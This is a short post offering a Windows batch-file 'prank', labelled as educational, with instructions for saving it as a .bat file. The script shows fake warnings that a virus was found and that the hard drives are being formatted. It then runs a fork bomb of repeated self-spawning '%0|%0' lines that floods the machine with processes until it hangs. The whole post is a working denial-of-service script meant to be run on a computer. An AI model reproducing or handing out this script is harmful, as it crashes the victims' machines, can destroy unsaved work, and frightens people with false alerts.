This code for education purpose
copy this code in notepad then pase to notepad and save .bat file
@echo off
msg * Warning your computer has detected a virus.
msg * To remove the virus click OK or close this box
msg * Your Hard drives are now being formatted
msg * Please wait ...........
msg * APRIL FOOLS
@echo off
start %0
%0|%0
%0|%0
%0|%0
%0|%0
%0|%0
%0|%0
%0|%0
%0|%0
%0|%0
%0|%0
%0|%0
%0|%0
%0|%0
%0|%0
%0|%0
%0|%0
goto start